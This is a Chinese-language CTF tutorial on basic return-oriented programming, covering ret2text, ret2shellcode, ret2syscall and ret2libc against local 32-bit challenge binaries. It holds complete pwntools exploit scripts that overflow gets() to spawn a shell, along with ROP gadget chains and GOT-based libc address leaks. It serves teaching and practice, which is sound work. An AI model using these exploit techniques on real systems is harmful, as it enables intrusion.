基本 ROP介绍

随着NX保护的开启,继续向栈中注入代码的方式难以继续发挥效果(因为NX保护意味着栈中数据没有执行权限,如果直接堆栈上部署自己的 shellcode 并触发, 只会直接造成程序的崩溃)。

目前主要的是 ROP(Return Oriented Programming),其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段( gadgets )来改变某些寄存器或者变量的值,从而控制程序的执行流程。所谓 gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。

之所以称之为 ROP,是因为核心在于利用了指令集中的 ret 指令,改变了指令流的执行顺序。ROP 攻击一般得满足如下条件

  • 程序存在溢出,并且可以控制返回地址。

  • 可以找到满足条件的 gadgets 以及相应 gadgets 的地址。

如果 gadgets 每次的地址是不固定的,那我们就需要想办法动态获取对应的地址了。

ret2text

原理

ret2text 即控制程序执行程序本身已有的的代码(.text)。其实,这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码(也就是 gadgets),这就是我们所要说的ROP。

这时,我们需要知道对应返回的代码的位置。当然程序也可能会开启某些保护,我们需要想办法去绕过这些保护。

例子

在之前栈溢出中,其实我们已经介绍了这一简单的攻击。基本栈溢出是通过溢出来控制程序已有的代码。而这个例子如下:

链接:https://github.com/ctf-wiki/ctf-challenges/blob/master/pwn/stackoverflow/ret2text/bamboofox-ret2text/ret2text

checksec查看保护机制:

image-20200909181032109

可以看到是32位程序,且开启了NX保护,栈不可执行。

IDA打开,main函数反编译:

image-20200909181352045

可以看到 gets 函数存在栈溢出漏洞。

shift + F12 看到 /bin/sh

image-20200909181703149

查看汇编发现存在调用 system(“/bin/sh”) 的代码,如果我们能够控制程序跳转到 0x0804863A(offset command ; “/bin/sh”)处,就能够得到系统的shell了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
.text:080485FD ; __unwind {
.text:080485FD push ebp
.text:080485FE mov ebp, esp
.text:08048600 sub esp, 28h
.text:08048603 mov dword ptr [esp], 0 ; timer
.text:0804860A call _time
.text:0804860F mov [esp], eax ; seed
.text:08048612 call _srand
.text:08048617 call _rand
.text:0804861C mov [ebp+secretcode], eax
.text:0804861F lea eax, [ebp+input]
.text:08048622 mov [esp+4], eax
.text:08048626 mov dword ptr [esp], offset unk_8048760
.text:0804862D call ___isoc99_scanf
.text:08048632 mov eax, [ebp+input]
.text:08048635 cmp eax, [ebp+secretcode]
.text:08048638 jnz short locret_8048646
.text:0804863A mov dword ptr [esp], offset command ; "/bin/sh"
.text:08048641 call _system
.text:08048646
.text:08048646 locret_8048646: ; CODE XREF: secure+3B↑j
.text:08048646 leave
.text:08048647 retn
.text:08048647 ; } // starts at 80485FD
.text:08048647 secure endp
.text:08048647
.text:08048648

构造 payload :首先需要确定的是我们能够控制的内存的起始地址距离 main 函数的返回地址的字节数。

1
2
3
.text:080486A7                 lea     eax, [esp+80h+s]
.text:080486AB mov [esp], eax ; s
.text:080486AE call _gets

mov [esp], eax 是把 eax 内容送到 esp 取向的地址里,所以我们需要查看 esp,ebp(因为ebp加4位即为返回地址)。

image-20200909184258417

可以看到 esp 为 0xffffcd20,ebp 为具体的 payload 如下 0xffffcda8,同时 s 相对于 esp 的索引为 [esp + 0x1c],所以,s 的地址为 0xffffcd5c,所以 s 相对于 ebp 的偏移为 0x6C,所以相对于返回地址的偏移为 0x6c + 4。

脚本如下:

1
2
3
4
5
6
from pwn import *

sh = process('./ret2text')
target = 0x804863a
sh.sendline('A' * (0x6c+4) + p32(target))
sh.interactive()

总结

我们知道 gets 函数可以读取无限制的用户输入到栈上,所以要先确认输入到多少位可以覆盖到返回地址,再找到提供了 shell 的功能地址进行覆盖即可获得 shell。

ret2shellcode

原理

ret2shellcode,即控制程序执行 shellcode 代码。shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。一般来说,shellcode 需要我们自己填充。这其实是另外一种典型的利用方法,即此时我们需要自己去填充一些可执行的代码。

在栈溢出的基础上,要想执行 shellcode,需要对应的 binary 在运行时,shellcode 所在的区域具有可执行权限。

例子

链接:https://github.com/ctf-wiki/ctf-challenges/blob/master/pwn/stackoverflow/ret2shellcode/ret2shellcode-example/ret2shellcode

checksec查看保护机制:

image-20200909190610943

源程序几乎没有开启任何保护。

IDA打开:

image-20200909190756379

可以看到 gets 函数还是存在栈溢出漏洞,而且 strncpy(buf2, (const char *)&v4, 0x64u);这个代码将字符串复制到 buf2 处。

点击 buf2 可以看到在 bss 段。

1
2
3
4
5
.bss:0804A080                 public buf2
.bss:0804A080 ; char buf2[100]
.bss:0804A080 buf2 db 64h dup(?) ; DATA XREF: main+7B↑o
.bss:0804A080 _bss ends
.bss:0804A080

(BSS段:通常是指用来存放程序中未初始化的或者初始化为0的全局变量和静态变量的一块内存区域。特点是可读写的,在程序执行之前BSS段会自动清0)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
gdb-peda$ file ret2shellcode
Reading symbols from ret2shellcode...done.
gdb-peda$ b main
Breakpoint 1 at 0x8048536: file ret2shellcode.c, line 8.
gdb-peda$ r
Starting program: /home/bi0x/桌面/pwn/basicROP/ret2shellcode

[----------------------------------registers-----------------------------------]
EAX: 0xf7fb6dd8 --> 0xffffd04c --> 0xffffd24d ("CLUTTER_IM_MODULE=xim")
EBX: 0x0
ECX: 0xd95fb490
EDX: 0xffffcfd4 --> 0x0
ESI: 0xf7fb5000 --> 0x1d7d6c
EDI: 0x0
EBP: 0xffffcfa8 --> 0x0
ESP: 0xffffcf20 --> 0x0
EIP: 0x8048536 (<main+9>: mov eax,ds:0x804a060)
EFLAGS: 0x283 (CARRY parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x804852e <main+1>: mov ebp,esp
0x8048530 <main+3>: and esp,0xfffffff0
0x8048533 <main+6>: add esp,0xffffff80
=> 0x8048536 <main+9>: mov eax,ds:0x804a060
0x804853b <main+14>: mov DWORD PTR [esp+0xc],0x0
0x8048543 <main+22>: mov DWORD PTR [esp+0x8],0x2
0x804854b <main+30>: mov DWORD PTR [esp+0x4],0x0
0x8048553 <main+38>: mov DWORD PTR [esp],eax
[------------------------------------stack-------------------------------------]
0000| 0xffffcf20 --> 0x0
0004| 0xffffcf24 --> 0x1
0008| 0xffffcf28 --> 0xf7ffd940 --> 0x0
0012| 0xffffcf2c --> 0xc2
0016| 0xffffcf30 --> 0x0
0020| 0xffffcf34 --> 0xc30000
0024| 0xffffcf38 --> 0x0
0028| 0xffffcf3c --> 0xf7ffd000 --> 0x26f34
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, main () at ret2shellcode.c:8
8 ret2shellcode.c: 没有那个文件或目录.
gdb-peda$ vmmap
Start End Perm Name
0x08048000 0x08049000 r-xp /home/bi0x/桌面/pwn/basicROP/ret2shellcode
0x08049000 0x0804a000 r-xp /home/bi0x/桌面/pwn/basicROP/ret2shellcode
0x0804a000 0x0804b000 rwxp /home/bi0x/桌面/pwn/basicROP/ret2shellcode
0xf7ddd000 0xf7fb2000 r-xp /lib/i386-linux-gnu/libc-2.27.so
0xf7fb2000 0xf7fb3000 ---p /lib/i386-linux-gnu/libc-2.27.so
0xf7fb3000 0xf7fb5000 r-xp /lib/i386-linux-gnu/libc-2.27.so
0xf7fb5000 0xf7fb6000 rwxp /lib/i386-linux-gnu/libc-2.27.so
0xf7fb6000 0xf7fb9000 rwxp mapped
0xf7fd0000 0xf7fd2000 rwxp mapped
0xf7fd2000 0xf7fd5000 r--p [vvar]
0xf7fd5000 0xf7fd6000 r-xp [vdso]
0xf7fd6000 0xf7ffc000 r-xp /lib/i386-linux-gnu/ld-2.27.so
0xf7ffc000 0xf7ffd000 r-xp /lib/i386-linux-gnu/ld-2.27.so
0xf7ffd000 0xf7ffe000 rwxp /lib/i386-linux-gnu/ld-2.27.so
0xfffdd000 0xffffe000 rwxp [stack]

通过 vmmap,我们可以看到 bss 段具有可执行权限。(rwx权限:r 代表读,w代表写,x 代表执行)

1
0x0804a000 0x0804b000 rwxp	/home/bi0x/桌面/pwn/basicROP/ret2shellcode

那么这次我们就控制程序执行 shellcode,也就是读入 shellcode,然后控制程序执行 bss 段处的 shellcode。其中,相应的偏移计算与 ret2text 中的例子相同。

具体的 payload 如下:

1
2
3
4
5
6
7
8
from pwn import *

sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080

sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))
sh.interactive()

asm()函数接收一个字符串作为参数,得到汇编码的机器代码。

shellcraft 模块是 shellcode 的模块,包含一些生成 shellcode 的函数,而这里的 shellcraft.sh() 则是执行 /bin/sh 的 shellcode 了。

Python 的 ljust() 方法返回一个原字符串左对齐,并使用空格填充至指定长度的新字符串。如果指定的长度小于原字符串的长度则返回原字符串。这里是在 shellcode 后面填充 A 直至长度为112。

shellcode填充的位置只要不放在很后面就行'A' * 10 + shellcode.ljust(102, 'A') + p32(buf2_addr) 也是可以的。

放在后面可能会破坏 shellcode。比如 shellcode.rjust(101, 'A') + 'A' * 11 + p32(buf2_addr)会报错(因为 buf2 长度为100,超过100会出错)

总结

return to shellcode,让程序中某个函数执行结束后,返回到 shellcode 的地址去执行shellcode,得到 system(sh )的效果。

ret2shellcode 的局限性在于,我们存放 shellcode 的这个地址内存页是标识为可执行,即通常情况下我们 checksec 程序是 NX 保护就关闭的,否则当程序溢出成功转入 shellcode 时,程序会尝试在数据页面上执行指令,此时 CPU 就会抛出异常,而不是去执行恶意指令。

ret2syscall

原理

ret2syscall,即控制程序执行系统调用,获取 shell。

例子

如下:

链接:https://github.com/ctf-wiki/ctf-challenges/blob/master/pwn/stackoverflow/ret2syscall/bamboofox-ret2syscall/rop

checksec 查看保护机制:

image-20200909195550893

可以看出,源程序为 32 位,开启了 NX 保护。接下来利用 IDA 来查看源码:

image-20200909195609097

这次仍然是一个栈溢出,类似于之前的做法,我们可以获得 v4 相对于 ebp 的偏移为 108。所以我们需要覆盖的返回地址相对于 v4 的偏移为 112。但是我们不能直接利用程序中的某一段代码或者自己填写代码来获得 shell。所以我们利用程序中的 gadgets 来获得 shell,而对应的 shell 获取则是利用系统调用。

系统调用

在计算机中,系统调用(英语:system call),又称为系统呼叫,指运行在使用者空间的程序向操作系统内核请求需要更高权限运行的服务。 系统调用提供了用户程序与操作系统之间的接口。大多数系统交互式操作需求在内核态执行。如设备IO操作或者进程间通信。

Linux 的系统调用通过int 80h实现,用系统调用号来区分入口函数。 操作系统实现系统调用的基本过程是:
应用程序调用库函数(API);
API将系统调用号存入 EAX,然后通过中断调用使系统进入内核态;
内核中的中断处理函数根据系统调用号,调用对应的内核函数(系统调用);
系统调用完成相应功能,将返回值存入 EAX,返回到中断处理函数;
中断处理函数返回到 API 中;
API 将 EAX 返回给应用程序。

回到题目,简单地说,只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shell。

1
execve("/bin/sh",NULL,NULL)

其中,该程序是 32 位,所以我们需要使得:

  • 系统调用号,即 eax 应该为 0xb。具体 linux 系统调用表见:https://blog.csdn.net/sinat_26227857/article/details/44244433
  • 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
  • 第二个参数,即 ecx 应该为 0
  • 第三个参数,即 edx 应该为 0

而我们如何控制这些寄存器的值 呢?这里就需要使用 gadgets。比如说,现在栈顶是 10,那么如果此时执行了 pop eax,那么现在 eax 的值就为 10。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以我们需要一段一段控制,这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。

我们调用syscall之前,需要先把参数设置好

eax:0xb(sys_execve),ebx:‘/bin/sh’的地址,ecx:NULL,edx:NULL

这里就需要利用到我们的 gadget,具体寻找 gadgets 的方法,我们可以使用 ropgadgets 这个工具。

ropgadgets 的使用:

查找可存储寄存器的代码:

1
ROPgadget --binary rop  --only 'pop|ret' | grep 'eax'

查找字符串:

1
ROPgadget --binary rop --string "/bin/sh"

查找有 int 0x80 的地址:

1
ROPgadget --binary rop  --only 'int'

首先,我们来寻找控制 eax 的 gadgets:

image-20200909200146509

可以看到有上述几个都可以控制 eax,我们选取第二个来作为 gadgets。

类似的,我们可以得到控制其它寄存器的 gadgets:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
bi0x@ubuntu:~/桌面/pwn/basicROP$ ROPgadget --binary rop  --only 'pop|ret' | grep 'ebx'
0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x080be23f : pop ebx ; pop edi ; ret
0x0806eb69 : pop ebx ; pop edx ; ret
0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x08048547 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08048913 : pop ebx ; pop esi ; pop edi ; ret
0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
0x08049a94 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080d7d3c : pop ebx ; ret 0x6f9
0x08099c87 : pop ebx ; ret 8
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
0x0805c820 : pop esi ; pop ebx ; ret
0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0807b6ed : pop ss ; pop ebx ; ret

这里,我们选择:

1
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

这个可以直接控制其它三个寄存器。

此外,我们需要获得 /bin/sh 字符串对应的地址。

1
2
3
4
5
6
bi0x@ubuntu:~/桌面/pwn/basicROP$ ROPgadget --binary rop  --string '/bin/sh' 

Strings information
============================================================

0x080be408 : /bin/sh

可以找到对应的地址,此外,还有 int 0x80 的地址,如下:

1
2
3
4
5
6
7
8
bi0x@ubuntu:~/桌面/pwn/basicROP$ ROPgadget --binary rop  --only 'int'

Gadgets information
============================================================

0x08049421 : int 0x80

Unique gadgets found: 1

同时,也找到对应的地址了。

下面就是对应的 payload,0xb 为 execve 对应的系统调用号:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

sh = process('./rop')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(
['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
sh.sendline(payload)
sh.interactive()

将payload写入后,执行流程如下:

执行 mov esp , ebp & pop ebp之后,esp指向address of (pop eax & ret)

high address int 80
‘/bin/sh’
0
0
pop_edx_ecx_ebx_ret
b
esp-> address of (pop eax & ret)
AAAA
AA…

执行 ret指令,eip指向 address of (pop eax & ret),同时,esp指向0xb

high address int 80
‘/bin/sh’
0
0
pop_edx_ecx_ebx_ret
esp-> b
address of (pop eax & ret)
AAAA
AA…

然后CPU执行 pop eax,此时将0xb赋值给eax, 同时esp上移

再执行ret指令,将esp的内容给eip,CPU执行pop_edx_ecx_ebx_ret

high address int 80
‘/bin/sh’
0
0
esp-> pop_edx_ecx_ebx_ret
b
address of (pop eax & ret)
AAAA
AA…

以此类推,直至完成。

payload这样构造也行:

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

sh = process('./rop')
pop_eax_ret = 0x080bb196
pop_ecx_ebx_ret = 0x0806eb91
pop_ebx_edx_ret = 0x0806eb69
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(
['A' * 112, pop_eax_ret, 0xb, pop_ecx_ebx_ret, 0, binsh, pop_ebx_edx_ret, binsh, 0, int_0x80])
sh.sendline(payload)
sh.interactive()

总结

明白ret2syscall的原理重要的一步是明白在linux系统下是怎么进行系统调用的,理解系统调用的过程之后,构造payload也显得更为简单。

ret2libc

原理

return-to-libc 是一种对抗linux系统栈保护的攻击方法。我们知道大部分linux系统有栈保护机制(DEP)。简单的说,既然栈中的指令不能执行,我们可以找到 libc 中的函数去执行,这样就绕过了数据不可执行的问题了。ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置(即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system(“/bin/sh”),故而此时我们需要知道 system 函数的地址。

img

布局完成后,返回地址 return_addr 被覆盖为 libc 文件里的 system 函数地址,当运行到 esp 位置时,会跳转到 system 中执行,同时,esp 指向esp + 4,这时对 system 来说,它内部的 ret (返回地址)执行时 esp 指针还是指向esp + 4的,也就是esp + 4(0xdeadbeef)就是system函数的返回地址,而esp + 8则是它的参数。

img

注:对于不想使程序崩溃,可以将 esp + 4 的覆盖为 exit 函数的地址,但要只是想得到shell,就是没什么所谓,因为在它崩溃前,你已经获得了shell。

例子

我们由简单到难分别给出三个例子。

例1

链接:

https://github.com/ctf-wiki/ctf-challenges/blob/master/pwn/stackoverflow/ret2libc/ret2libc1/ret2libc1

checksec查看保护机制:

image-20200910080359523

可以看出,源程序为 32 位,开启了 NX 保护。接下来利用 IDA 来查看源码;

image-20200910080542881

可以看出 gets 函数的时候出现了栈溢出,ropgadget 查看是否有 /bin/sh:

1
2
3
bi0x@ubuntu:~/桌面/pwn/basicROP$ ROPgadget --binary ret2libc1 --string '/bin/sh'Strings information
============================================================
0x08048720 : /bin/sh

ida查看是否有 system 函数存在:

1
2
3
.plt:08048456                 push    10h
.plt:0804845B jmp sub_8048420
.plt:08048460 ; [00000006 BYTES: COLLAPSED FUNCTION _system. PRESS CTRL-NUMPAD+ TO EXPAND]

ret2libc 执行 system 的堆栈布局:

这里写图片描述

攻击payload的布局结构:

A*N + system_addr + fake_ret + system_arg

1
2
3
4
5
6
7
8
from pwn import *

sh = process('./ret2libc1')
binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat(['a' * 112, system_plt, 'b' * 4, binsh_addr])
sh.sendline(payload)
sh.interactive()

这个例子相对来说简单,同时提供了 system 地址与 /bin/sh 的地址,但是大多数程序并不会有这么好的情况。

例2

链接:

https://github.com/ctf-wiki/ctf-challenges/blob/master/pwn/stackoverflow/ret2libc/ret2libc2/ret2libc2

该题目与例 1 基本一致,只不过不再出现 /bin/sh 字符串,所以此次需要我们自己来读取字符串。

ida查看 system 函数:

1
2
3
.plt:08048486                 push    18h
.plt:0804848B jmp sub_8048440
.plt:08048490 ; [00000006 BYTES: COLLAPSED FUNCTION _system. PRESS CTRL-NUMPAD+ TO EXPAND]

找 gets 的地址:

1
2
3
.plt:08048456                 push    0
.plt:0804845B jmp sub_8048440
.plt:08048460 ; [00000006 BYTES: COLLAPSED FUNCTION _gets. PRESS CTRL-NUMPAD+ TO EXPAND]

在可写入的 bss 段寻找可借用的东西,这里找到了 buf2 ,我们可以把 /bin/sh写入 buf2,把 /bin/sh 的地址作为 system 的参数被调用:

1
2
3
4
5
.bss:0804A080                 public buf2
.bss:0804A080 ; char buf2[100]
.bss:0804A080 buf2 db 64h dup(?)
.bss:0804A080 _bss ends
.bss:0804A080

用 gadget 找带 ret 的语句,这里只有pop ebx,无pop eax等,所以选 gadget 的地址为0x0804843d

1
2
3
4
5
6
7
8
9
10
11
12
bi0x@ubuntu:~/桌面/pwn/basicROP$ ROPgadget --binary ret2libc2 --only 'pop|ret'
Gadgets information
============================================================
0x0804872f : pop ebp ; ret
0x0804872c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804843d : pop ebx ; ret
0x0804872e : pop edi ; pop ebp ; ret
0x0804872d : pop esi ; pop edi ; pop ebp ; ret
0x08048426 : ret
0x0804857e : ret 0xeac1

Unique gadgets found: 7

方法一:

img

padding后跳转到gets,再读取函数结束之后的返回地址(即system的地址),再读取gets参数,接着跳转到system的地址

payload = flat([‘a’ * 112, gets_plt, system_plt, buf2, buf2, ‘/bin/sh’])

方法二:

堆栈平衡,就是在调用完gets之后要把调用的参数给pop出来,提升栈堆(保持esp和ebp的值不变)再对system进行调用,system调用的时候会有一个返回值,直接填入垃圾字符。

payload = flat([‘a’ * 112, gets_plt, pop_ebx, buf2, system_plt, 0xdeadbeef, buf2, ‘/bin/sh’])

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

sh = process('./ret2libc2')

gets_plt = 0x08048460
system_plt = 0x08048490
pop_ebx = 0x0804843d
buf2 = 0x804a080
payload = flat(
['a' * 112, gets_plt, pop_ebx, buf2, system_plt, 0xdeadbeef, buf2, '/bin/sh'])
sh.sendline(payload)
sh.interactive()

例3

链接:

https://github.com/ctf-wiki/ctf-challenges/blob/master/pwn/stackoverflow/ret2libc/ret2libc3/ret2libc3

在例 2 的基础上,再次将 system 函数的地址去掉。此时,我们需要同时找到 system 函数地址与 /bin/sh 字符串的地址。首先,查看安全保护:

image-20200910094023007

ida:

image-20200910094051697

仍然是栈溢出。

那么我们如何得到 system 函数的地址呢?这里就主要利用了两个知识点

  • system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。也就是说要找基地址,因为公式:A真实地址-A的偏移地址 = B真实地址-B的偏移地址 = 基地址。
  • 即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的12位并不会发生改变。而 libc 在 github 上有人进行收集,如下

所以如果我们知道 libc 中某个函数的地址,那么我们就可以确定该程序利用的 libc。进而我们就可以知道 system函数的地址。

那么如何得到 libc 中的某个函数的地址呢?我们一般常用的方法是采用 got 表泄露,即输出某个函数对应的 got 表项的内容。当然,由于 libc 的延迟绑定机制,我们需要泄漏已经执行过的函数的地址。

我们自然可以根据上面的步骤先得到 libc,之后在程序中查询偏移,然后再次获取 system 地址,但这样手工操作次数太多,有点麻烦,这里给出一个 libc 的利用工具,具体细节请参考 readme

此外,在得到 libc 之后,其实 libc 中也是有 /bin/sh 字符串的,所以我们可以一起获得 /bin/sh 字符串的地址。

这里我们泄露 __libc_start_main 的地址,这是因为它是程序最初被执行的地方。基本利用思路如下。

  • 泄露 __libc_start_main 地址
  • 获取 libc 版本
  • 获取 system 地址与 /bin/sh 的地址
  • 再次执行源程序
  • 触发栈溢出执行 system(‘/bin/sh’)

EL F是 CTF 的 Python 库中 pwntools 的一个模块,用于获取 ELF 文件的信息,首先要使用 ELF(‘文件名’)获取文件句柄:e = ELF(‘文件名’)

  • 获取文件基地址:
    hex(e.address)
  • 获取函数地址:
    hex(e.sysbols[‘函数名’])
  • 获取函数got表地址:
    hex(e.got[‘函数名’])
  • 获取函数PLT地址:
    hex(e.plt[‘函数名’])
1
2
3
4
5
6
7
8
9
10
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')

ret2libc3 = ELF('./ret2libc3')
puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got['__libc_start_main']
main = ret2libc3.symbols['main']
payload = flat(['A' * 112, puts_plt, main, libc_start_main_got])
sh.sendlineafter('Can you find it !?', payload)

上面代码是通过溢出来泄露 __libc_start_main 地址。

1
2
3
4
5
6
libc_start_main_addr = u32(sh.recv()[0:4])
#利用LibcSearcher获取libc版本
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main') #获取基地址
system_addr = libcbase + libc.dump('system') #system偏移
binsh_addr = libcbase + libc.dump('str_bin_sh') #/bin/sh偏移

接受返回的地址,由于是32位的文件,每4位切一次片,用u32可以转成地址。

然后根据泄露出来的真实地址去查libc的版本。LibcSearcher 可以通过它来找出版本,进而获取地址。

1
2
payload = flat(['A' * 104, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)

因为之前我们 payload 的返回地址为 main 函数开始地址,所以可以再次执行源程序,继续触发栈溢出执行 system(‘/bin/sh’)。

完整脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')

ret2libc3 = ELF('./ret2libc3')

puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got['__libc_start_main']
main = ret2libc3.symbols['main']

print "leak libc_start_main_got addr and return to main again"
payload = flat(['A' * 112, puts_plt, main, libc_start_main_got])
sh.sendlineafter('Can you find it !?', payload)

print "get the related addr"
libc_start_main_addr = u32(sh.recv()[0:4])
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')

print "get shell"
payload = flat(['A' * 104, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)

sh.interactive()

当然我们也可以选用 puts 函数实现2次调用,详细过程略,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')

ret2libc3 = ELF('./ret2libc3')

puts_plt = ret2libc3.plt['puts']
main = ret2libc3.symbols['main']
got_puts = ret2libc3.got['puts']

payload = flat(['A' * 112, puts_plt, main, got_puts])
sh.sendlineafter('Can you find it !?', payload)

print "get the related addr"
puts_addr = u32(sh.recv()[0:4])
libc = LibcSearcher('puts', puts_addr)
libcbase = puts_addr - libc.dump('puts')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')

print "get shell"
payload = flat(['A' * 104, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)

sh.interactive()

地址寻找小结

在漏洞利用过程中,我们总是免不了要去寻找一些地址,常见的寻找地址的类型有如下几种

通用寻找

直接地址寻找

程序中已经给出了相关变量或者函数的地址了。这时候,我们就可以直接进行利用了。

got 表寻找

有时候我们并不一定非得直接知道某个函数的地址,可以利用 GOT 表跳转到对应函数的地址。当然,如果我们非得知道这个函数的地址,我们可以利用 write,puts 等输出函数将 GOT 表中地址处对应的内容输出出来(前提是这个函数已经被解析一次了)。

有 libc

相对偏移寻找,这时候我们就需要考虑利用 libc 中函数的基地址一样这个特性来寻找了。比如我们可以通过 __libc_start_main 的地址来泄漏 libc 在内存中的基地址。注意:不要选择有wapper的函数,这样会使得函数的基地址计算不正确。常见的有 wapper 的函数有?(待补充)。

无 libc

其实,这种情况的解决策略分为两种

  • 想办法获取 libc
  • 想办法直接获取对应的地址。

而对于想要泄露的地址,我们只是单纯地需要其对应的内容,所以 puts , write,printf 均可以。

  • puts,printf 会有 \x00 截断的问题
  • write 可以指定长度输出的内容。